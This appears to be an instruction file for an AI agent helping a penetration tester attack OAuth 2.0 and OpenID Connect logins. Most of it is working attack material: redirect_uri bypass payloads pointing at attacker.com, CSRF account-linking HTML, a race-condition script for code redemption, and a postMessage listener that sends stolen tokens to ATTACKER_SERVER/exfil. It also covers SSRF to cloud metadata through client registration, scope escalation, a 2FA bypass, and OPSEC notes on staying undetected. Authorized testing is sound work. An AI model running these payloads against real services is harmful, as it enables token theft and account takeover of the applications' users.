OAuth 2.0 / OpenID Connect Attacks
You are helping a penetration tester exploit OAuth 2.0 and OpenID Connect vulnerabilities. The target application uses OAuth for authentication (social login, SSO) or authorization (API access, third-party integrations). The goal is to steal authorization codes or tokens, bypass authentication, escalate privileges, or achieve account takeover. All testing is under explicit written authorization.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[oauth-attacks] Activated → <target>to the screen on activation. - Evidence → save significant output to
engagement/evidence/with descriptive filenames (e.g.,sqli-users-dump.txt,ssrf-aws-creds.json).
State Management
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Web Interaction
OAuth flows are multi-step browser interactions — browser tools are the natural fit for testing these flows end-to-end.
browser_openfor authorization endpoints — initiates the OAuth flowbrowser_fill/browser_clickfor consent screens, login prompts, and permission dialogsbrowser_cookiesto extract tokens from redirect chains and inspect session state after OAuth completionbrowser_evaluateto inspect URL fragments for implicit grant tokens (e.g.,window.location.hash), extract authorization codes from redirects- curl for direct token endpoint requests, testing
redirect_urimanipulation, and code/token exchange
Prerequisites
- An application using OAuth 2.0 or OpenID Connect for authentication
- Burp Suite (to intercept and modify OAuth redirects)
- A domain you control for redirect URI testing
- A test account on the application (to capture legitimate OAuth flows)
Step 1: Assess
Map the OAuth implementation by capturing a complete flow.
Identify OAuth Endpoints
bash# Check for OpenID Connect discovery curl -s "https://TARGET/.well-known/openid-configuration" | jq . curl -s "https://TARGET/.well-known/oauth-authorization-server" | jq . # Key endpoints to find: # - Authorization endpoint: /authorize, /oauth/authorize, /auth # - Token endpoint: /token, /oauth/token # - JWKS endpoint: /jwks, /.well-known/jwks.json # - Registration endpoint: /register (dynamic client registration) # - Userinfo endpoint: /userinfo, /me
Capture the Authorization Request
Intercept the login flow in Burp and note:
GET /authorize? client_id=APP_CLIENT_ID& response_type=code& # or token, id_token redirect_uri=https://app.com/callback& scope=openid+email+profile& state=RANDOM_STATE& nonce=RANDOM_NONCE& # OIDC only code_challenge=CHALLENGE& # PKCE code_challenge_method=S256 # PKCE
Key parameters to note:
- response_type:
code(auth code),token(implicit),id_token(OIDC) - redirect_uri: the callback URL
- state: CSRF protection for OAuth flow
- scope: requested permissions
- PKCE parameters: code_challenge and method
Identify the Grant Type
| Grant Type | Flow | Attack Surface |
|---|---|---|
| Authorization Code | Browser redirect → code → token exchange | Redirect URI, code theft, state bypass |
| Implicit | Browser redirect → token in fragment | Token exposure, no code exchange |
| PKCE | Auth code + code_verifier | PKCE downgrade, weak verifier |
| Client Credentials | Server-to-server, no user | Secret leakage |
| Password (ROPC) | Direct username/password → token | 2FA bypass |
Step 2: Redirect URI Manipulation
The most common OAuth vulnerability — bypassing redirect_uri validation to steal authorization codes or tokens.
Basic Redirect to Attacker Domain
# Try arbitrary domain https://IDP/authorize?...&redirect_uri=https://attacker.com/callback # Try subdomain variants https://IDP/authorize?...&redirect_uri=https://attacker.app.com/callback https://IDP/authorize?...&redirect_uri=https://app.com.attacker.com/callback # Try localhost https://IDP/authorize?...&redirect_uri=https://localhost.attacker.com/callback
Path Traversal
# Bypass directory-level checks https://IDP/authorize?...&redirect_uri=https://app.com/callback/../attacker-page https://IDP/authorize?...&redirect_uri=https://app.com/callback/..%2F..%2Fattacker
Open Redirect Chain
If the app has an open redirect, use it to relay the code:
# App has open redirect at /redirect?url= https://IDP/authorize?...&redirect_uri=https://app.com/redirect?url=https://attacker.com
The IdP validates app.com, the app redirects to attacker.com with the
code still in the URL.
Parameter Pollution
# Multiple redirect_uri parameters https://IDP/authorize?...&redirect_uri=https://app.com/callback&redirect_uri=https://attacker.com # Redirect within redirect https://IDP/authorize?...&redirect_uri=https://app.com/callback?next=https://attacker.com
Special Characters
# Null byte https://IDP/authorize?...&redirect_uri=https://app.com/callback%00.attacker.com # At sign (userinfo bypass) https://IDP/authorize?...&redirect_uri=https://app.com@attacker.com/callback # Fragment https://IDP/authorize?...&redirect_uri=https://app.com/callback%23.attacker.com # Protocol-relative https://IDP/authorize?...&redirect_uri=//attacker.com/callback
Scope Bypass to Widen redirect_uri
Some IdPs relax redirect_uri validation for certain scopes:
# Invalid scope may change validation behavior https://IDP/authorize?...&scope=invalid&redirect_uri=https://attacker.com
Step 3: State Parameter Bypass
The state parameter prevents CSRF on the OAuth flow. Test if it's properly validated.
Missing State
# Remove state from authorization request https://IDP/authorize?...&state= # or omit entirely # If the callback accepts the response without state validation, # attacker can force victim to complete an OAuth flow with attacker's code
State Not Validated
# Complete OAuth flow normally, capture the callback: https://app.com/callback?code=AUTH_CODE&state=LEGIT_STATE # Replay with modified state: https://app.com/callback?code=AUTH_CODE&state=ANYTHING # If accepted → state validation is broken
CSRF via Missing State — Account Linking Attack
html<!-- Force victim to link attacker's OAuth account to their app account --> <!-- 1. Attacker starts OAuth flow, captures callback URL with attacker's code --> <!-- 2. Victim clicks this link (or auto-redirected) --> <a href="https://app.com/callback?code=ATTACKER_CODE">Link Account</a> <!-- If state isn't validated, victim's app account gets linked to attacker's OAuth identity. Attacker can now log in as victim. -->
Step 4: Authorization Code Attacks
Code Reuse
bash# Capture a valid authorization code # Try redeeming it multiple times # First redemption (should work) curl -s -X POST "https://IDP/token" \ -d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&redirect_uri=https://app.com/callback" # Second redemption (should fail — if it works, codes are reusable) curl -s -X POST "https://IDP/token" \ -d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&redirect_uri=https://app.com/callback"
Code Not Bound to Client
bash# Capture code from App A's flow # Try redeeming with App B's credentials curl -s -X POST "https://IDP/token" \ -d "grant_type=authorization_code&code=APP_A_CODE&client_id=APP_B&client_secret=APP_B_SECRET&redirect_uri=https://app-b.com/callback" # If accepted → audience binding broken
Code Lifetime
bash# Capture code, wait, then redeem # RFC 6749 recommends max 10 minutes # Wait 15+ minutes curl -s -X POST "https://IDP/token" \ -d "grant_type=authorization_code&code=OLD_CODE&client_id=APP&redirect_uri=https://app.com/callback" # If accepted → code lifetime too long
Race Condition (Concurrent Redemption)
Send multiple token requests simultaneously with the same code:
pythonimport requests import threading url = "https://IDP/token" data = { "grant_type": "authorization_code", "code": "AUTH_CODE", "client_id": "APP", "client_secret": "SECRET", "redirect_uri": "https://app.com/callback" } results = [] def redeem(): r = requests.post(url, data=data) results.append(r.json()) threads = [threading.Thread(target=redeem) for _ in range(20)] for t in threads: t.start() for t in threads: t.join() tokens = [r for r in results if "access_token" in r] print(f"[*] {len(tokens)} successful redemptions out of 20")
Step 5: Token Leakage
Implicit Flow Token in Fragment
# Implicit flow returns token in URL fragment https://app.com/callback#access_token=TOKEN&token_type=Bearer&expires_in=3600 # Fragment is accessible via: # - XSS on the callback page # - Referer header if callback page loads external resources # - Browser history # - postMessage if callback uses it
Referer Leakage
If the callback page loads external resources (images, scripts, analytics), the URL (including code/token) may leak via Referer header.
bash# Check if callback page loads third-party resources curl -s "https://app.com/callback?code=test" | \ grep -oP 'src="https?://[^"]*"' | grep -v "app.com"
Token in URL (Non-Fragment)
Some implementations pass tokens as query parameters instead of fragments:
# Bad: token in query string (logged by servers, proxies, analytics) https://app.com/callback?access_token=TOKEN # Check server logs, proxy logs, browser history
postMessage Interception
If the callback uses postMessage to relay tokens:
html<script> window.addEventListener('message', function(event) { // Capture tokens from postMessage if (event.data && (event.data.access_token || event.data.code)) { fetch('https://ATTACKER_SERVER/exfil', { method: 'POST', body: JSON.stringify(event.data) }); } }); </script> <!-- Open the OAuth callback in a popup --> <script> var popup = window.open('https://IDP/authorize?...&response_mode=web_message'); </script>
Step 6: OpenID Connect Attacks
ID Token Manipulation
If the application validates ID tokens (JWTs) from the IdP:
bash# Decode the ID token echo "eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ1c2VyMTIzIn0.sig" | \ cut -d. -f2 | base64 -d 2>/dev/null | jq . # Check for: # - Algorithm: RS256, HS256, none # - Claims: sub, email, email_verified, aud, iss # - Signature validation
Escalate for algorithm confusion, alg:none, and key injection attacks on ID tokens.
Email Claim Abuse
Some IdPs allow users to set unverified email addresses:
# Attacker creates account at IdP with victim's email (unverified) # Logs into target app via OAuth # App trusts email claim → creates/links account for victim's email # Attacker now controls victim's app account # Check: does the app verify email_verified claim? # Check: does the IdP enforce email verification?
Nonce Bypass
# OIDC uses nonce to prevent token replay # Test: omit nonce from authorization request https://IDP/authorize?...&nonce= # Test: reuse nonce across sessions # If accepted → replay attacks possible
Discovery Endpoint SSRF
If the IdP supports dynamic client registration:
bashcurl -s -X POST "https://IDP/register" \ -H "Content-Type: application/json" \ -d '{ "client_name": "Evil App", "redirect_uris": ["https://attacker.com/callback"], "logo_uri": "http://169.254.169.254/latest/meta-data/", "jwks_uri": "http://internal.server:8080/sensitive", "sector_identifier_uri": "http://192.168.1.1/admin" }' # If the IdP fetches logo_uri, jwks_uri, or sector_identifier_uri → SSRF
Step 7: PKCE Bypass
PKCE Not Enforced
bash# Try redeeming code without code_verifier curl -s -X POST "https://IDP/token" \ -d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&redirect_uri=https://app.com/callback" # If token returned without code_verifier → PKCE not enforced # Stolen codes can be redeemed without the challenge
Plain Method Downgrade
# Request with plain instead of S256 https://IDP/authorize?...&code_challenge=VERIFIER&code_challenge_method=plain # Redeem with same value as both challenge and verifier curl -s -X POST "https://IDP/token" \ -d "...&code_verifier=VERIFIER" # If S256 not enforced → attacker who sees the challenge can redeem the code
Step 8: Scope and Permission Attacks
Scope Escalation on Token Request
bash# Authorization was granted for scope=read # Try requesting more at token endpoint curl -s -X POST "https://IDP/token" \ -d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&scope=read+write+admin&redirect_uri=https://app.com/callback" # If token has expanded scope → scope escalation
Token Refresh with Expanded Scope
bash# Refresh token and request additional scopes curl -s -X POST "https://IDP/token" \ -d "grant_type=refresh_token&refresh_token=REFRESH_TOKEN&scope=read+write+admin"
Resource Owner Password Credentials (2FA Bypass)
bash# ROPC grant bypasses browser-based 2FA curl -s -X POST "https://IDP/token" \ -d "grant_type=password&username=USER&password=PASS&client_id=APP&client_secret=SECRET" # If token returned → 2FA is bypassed entirely
Step 9: Account Takeover Chains
Pre-Authentication Account Linking
- Attacker registers at the app with
victim@example.com(no email verification) - Victim later clicks "Login with Google" (which has
victim@example.com) - App links Google identity to existing account (attacker's)
- Attacker has access to victim's linked data
OAuth CSRF + Account Linking
- Attacker initiates "Link GitHub" flow, captures callback with attacker's code
- Victim visits attacker's page containing:
html
<img src="https://app.com/callback?code=ATTACKER_GITHUB_CODE" /> - Victim's app account gets linked to attacker's GitHub
- Attacker logs in via GitHub → accesses victim's account
Redirect URI + Referer Chain
- Find open redirect on the app:
https://app.com/go?url=https://attacker.com - Use as redirect_uri:
https://IDP/authorize?...&redirect_uri=https://app.com/go?url=https://attacker.com - IdP validates
app.com, redirects to app with code - App's open redirect sends victim to
attacker.com— code in Referer - Attacker redeems code → account takeover
Step 10: Escalate or Pivot
After confirming OAuth vulnerabilities:
- Authorization code stolen: Redeem for access token, access victim's API resources. Check what scopes the token grants.
- Access token obtained: Test token against all API endpoints. Route to idor if the API has broken object-level authorization.
- Account takeover achieved: Document full chain. Check for admin escalation via role manipulation.
- ID token forged or manipulated: Escalate for deeper JWT exploitation (alg:none, key confusion, claim tampering).
- SSRF via dynamic registration: Escalate for cloud metadata and internal network exploitation.
- Client secret found: Test against other OAuth-enabled services that use the same IdP.
- 2FA bypass via ROPC: Document as separate finding — complete auth bypass.
Report in your return summary: any new credentials, tokens, access, vulns, or pivot paths discovered.
When routing, pass along: OAuth flow type, IdP identified, working bypass technique, tokens obtained.
OPSEC Notes
- OAuth testing involves URL parameter manipulation — minimal server-side detection surface
- Redirect URI probing generates 302 redirects visible in IdP logs
- Authorization code redemption attempts are logged at the token endpoint
- Dynamic client registration may be monitored
- Account linking operations are visible in application audit logs
- ROPC grant attempts may trigger brute-force detection
Troubleshooting
Redirect URI Strictly Validated
- Try path traversal:
/callback/../other-page - Try query parameter append:
/callback?param=attacker.com - Try fragment:
/callback#@attacker.com - Look for open redirect on the same domain to chain
- Check if alternate API versions have weaker validation
- Try different registered redirect URIs (some apps have multiple)
All Tokens Are Short-Lived
- Focus on authorization code theft (codes exchanged for tokens server-side)
- Check if refresh tokens are issued (longer-lived)
- Test token reuse across different client applications
- Check if token revocation is properly implemented
PKCE Enforced and Properly Implemented
- PKCE is designed to prevent code interception — this defense is working
- Focus on other attack vectors: redirect URI bypass, state bypass, token leakage, account linking flaws
- Check if the code_verifier has sufficient entropy
IdP Requires Exact redirect_uri Match
- This is correct implementation — exact match is the strongest defense
- Focus on: state bypass, account linking, scope escalation, token leakage
- Look for other OAuth clients on the same IdP with weaker redirect_uri validation
Can't Register Dynamic Clients
- Test with existing client_id values found in source code, mobile apps, or public documentation
- Check for client_id enumeration
- Use known client_ids from the IdP's developer portal

